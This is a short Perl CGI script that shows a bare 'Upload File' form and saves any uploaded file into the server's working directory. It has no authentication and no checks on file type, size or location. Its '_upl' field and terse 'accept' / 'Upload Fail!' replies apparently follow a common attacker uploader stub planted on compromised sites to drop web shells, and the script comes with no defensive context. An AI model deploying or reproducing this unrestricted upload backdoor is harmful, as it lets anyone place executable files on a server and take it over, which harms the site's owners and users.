#!/usr/bin/perl
use strict;
use warnings;
use CGI;
use CGI::Carp qw(fatalsToBrowser);
use File::Basename;

my $cgi = CGI->new;
print $cgi->header;

print <<'HTML';
<html>
<head><title>Upload File</title></head>
<body>
<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="file" size="50">
    <input type="submit" name="_upl" value="Upload">
</form>
HTML

if ($cgi->param('_upl') && $cgi->param('_upl') eq 'Upload') {
    my $upload_filehandle = $cgi->upload('file');
    if ($upload_filehandle) {
        my $filename = basename($cgi->param('file'));
        open my $out, '>', $filename or die "Cannot open file $filename: $!";
        binmode $out;
        while (my $bytes = <$upload_filehandle>) {
            print $out $bytes;
        }
        close $out;
        print "<b>accept</b><br><br>";
    } else {
        print "<b>Upload Fail!</b><br><br>";
    }
}

print "</body></html>";